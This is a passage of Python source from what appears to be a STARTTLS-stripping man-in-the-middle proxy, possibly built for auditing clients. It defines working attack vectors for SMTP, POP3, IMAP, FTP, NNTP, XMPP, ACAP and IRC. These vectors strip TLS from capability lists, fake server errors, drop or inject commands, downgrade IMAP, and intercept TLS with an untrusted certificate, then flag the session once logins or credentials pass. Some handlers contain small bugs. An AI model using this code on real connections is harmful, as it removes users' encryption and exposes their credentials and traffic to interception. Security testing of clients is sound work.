session.inbound.sendall(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class InjectCommand:\r\n ''' 1) Append command to STARTTLS\\r\\n.\r\n 2) untrusted intercept to check if we get an invalid command response from server\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n data += \"INJECTED_INVALID_COMMAND\\r\\n\"\r\n #logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\r\n try:\r\n Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)\r\n except ssl.SSLEOFError, se:\r\n logging.info(\"%s - Server failed to negotiate SSL with Exception: %s\"%(session, repr(se))) \r\n session.close()\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class POP3:\r\n _PROTO_ID = 110\r\n\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STLS support\r\n 2) raise exception if client tries to negotiated STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if data.lower().startswith('+ok capability'):\r\n features = [f for f in data.strip().split('\\r\\n') if not \"stls\" in f.lower()]\r\n data = '\\r\\n'.join(features)+'\\r\\n'\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.lower().startswith(\"stls\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n class StripWithError:\r\n ''' 1) force server error on client sending STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"stls\" == data.strip().lower():\r\n session.inbound.sendall(\"-ERR unknown command\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"-ERR unknown command\\r\\n\")))\r\n data=None\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"stls\"==data.strip().lower():\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"+OK Begin TLS negotiation\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"+OK Begin TLS negotiation\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_CERTFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"+OK\" not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class IMAP:\r\n _PROTO_ID = 143\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"CAPABILITY \" in data:\r\n # rfc2595\r\n data = data.replace(\" STARTTLS\",\"\").replace(\" LOGINDISABLED\",\"\")\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.strip().lower().endswith(\"starttls\"):\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall(\"%s BAD unknown command\\r\\n\"%id)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%s BAD unknown command\\r\\n\"%id)))\r\n data=None\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n class ProtocolDowngradeToV2:\r\n ''' Return IMAP2 instead of IMAP4 in initial server response\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw.lower() in data.lower() for kw in (\"IMAP4\",\"* OK \")):\r\n session.inbound.sendall(\"OK IMAP2 Server Ready\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"OK IMAP2 Server Ready\\r\\n\")))\r\n data=None\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.strip().lower().endswith(\"starttls\"):\r\n id = data.split(' ',1)[0].strip()\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"%s OK Begin TLS negotation now\\r\\n\"%id)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"%s OK Begin TLS negotation now\\r\\n\"%id)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_CERTFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n \r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"%s OK\"%id not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class FTP:\r\n _PROTO_ID = 21\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce AUTH TLS support\r\n 2) raise exception if client tries to negotiated AUTH TLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if session.outbound.sndbuf.strip().lower()==\"feat\" \\\r\n and \"AUTH TLS\" in data:\r\n features = (f for f in data.strip().split('\\n') if not \"AUTH TLS\" in f)\r\n data = '\\n'.join(features)+\"\\r\\n\"\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending AUTH TLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n session.inbound.sendall(\"500 AUTH TLS not understood\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"500 AUTH TLS not understood\\r\\n\")))\r\n data=None\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"234 OK Begin TLS negotation now\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"234 OK Begin TLS negotation now\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"234\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class NNTP:\r\n _PROTO_ID = 119\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if session.outbound.sndbuf.strip().lower()==\"capabilities\" \\\r\n and \"STARTTLS\" in data:\r\n features = (f for f in data.strip().split('\\n') if not \"STARTTLS\" in f)\r\n data = '\\n'.join(features)+\"\\r\\n\"\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"502 Command unavailable\\r\\n\") # or 580 Can not initiate TLS negotiation\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Command unavailable\\r\\n\")))\r\n data=None\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"382 Continue with TLS negotiation\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"382 Continue with TLS negotiation\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"382\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class XMPP:\r\n _PROTO_ID = 5222\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n start = data.index(\"<starttls\")\r\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\r\n data = data[:start] + data[end:] # strip starttls from capabilities\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n #<failure/> or <proceed/>\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\r\n #data=None\r\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\r\n rewrite.set_result(session, True)\r\n return data \r\n\r\n class StripInboundTLS:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) If starttls is required outbound, leave inbound connection plain - outbound starttls\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n start = data.index(\"<starttls\")\r\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\r\n starttls_args = data[start:end]\r\n data = data[:start] + data[end:] # strip inbound starttls\r\n if \"required\" in starttls_args:\r\n # do outbound starttls as required by server\r\n session.outbound.sendall(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\r\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\r\n resp_data = session.outbound.recv_blocked()\r\n if not resp_data.startswith(\"<proceed \"):\r\n raise ProtocolViolationException(\"whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s\"%repr(resp_data))\r\n\r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls\" in data:\r\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\r\n #<failure/> or <proceed/>\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\r\n #data=None\r\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"<starttls \" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n\r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"<proceed \"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n\r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n\r\n data=None\r\n elif \"</auth>\" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n class ACAP:\r\n #rfc2244, rfc2595\r\n _PROTO_ID = 675\r\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw in data for kw in (\"ACAP\",\"STARTTLS\")):\r\n features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses\r\n data = ' '.join(\"(%s)\"%f for f in features if not \"STARTTLS\" in f)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \" AUTHENTICATE \" in data: \r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall('%s BAD \"command unknown or arguments invalid\"'%id) # or 580 Can not initiate TLS negotiation\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr('%s BAD \"command unknown or arguments invalid\"'%id)))\r\n data=None\r\n elif \" AUTHENTICATE \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall('%s OK \"Begin TLS negotiation now\"'%id)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr('%s OK \"Begin TLS negotiation now\"'%id)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not \" OK \" in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \" AUTHENTICATE \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n\r\n class IRC:\r\n #rfc2244, rfc2595\r\n _PROTO_ID = 6667\r\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\r\n _IDENT_PORT = 113\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw.lower() in data.lower() for kw in (\" cap \",\" tls\")):\r\n mangled = []\r\n for line in data.split(\"\\n\"):\r\n if all(kw.lower() in line.lower() for kw in (\" cap \",\" tls\")):\r\n # can be CAP LS or CAP ACK/NACK\r\n if \" ack \" in data.lower():\r\n line = line.replace(\"ACK\",\"NAK\").replace(\"ack\",\"nak\")\r\n else: #ls\r\n features = line.split(\" \")\r\n line = ' '.join(f for f in features if not 'tls' in f.lower())\r\n mangled.append(line)\r\n data = \"\\n\".join(mangled)\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return \r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n #elif all(kw.lower() in data.lower() for kw in (\"cap req\",\"tls\")):\r\n # # mangle CAPABILITY REQUEST\r\n # if \":\" in data:\r\n # cmd, caps = data.split(\":\")\r\n # caps = (c for c in caps.split(\" \") if not \"tls\" in c.lower())\r\n # data=\"%s:%s\"%(cmd,' '.join(caps))\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'STARTTLS'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithNotRegistered:\r\n ''' 1) force server wrong state on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'You have not registered'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripCAPWithNotRegistered:\r\n ''' 1) force server wrong state on client sending CAP LS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"CAP LS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'You have not registered'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithSilentDrop:\r\n ''' 1) silently drop starttls command\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \" ident \" in data.lower():\r\n #TODO: proxy ident\r\n pass\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'STARTTLS'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS 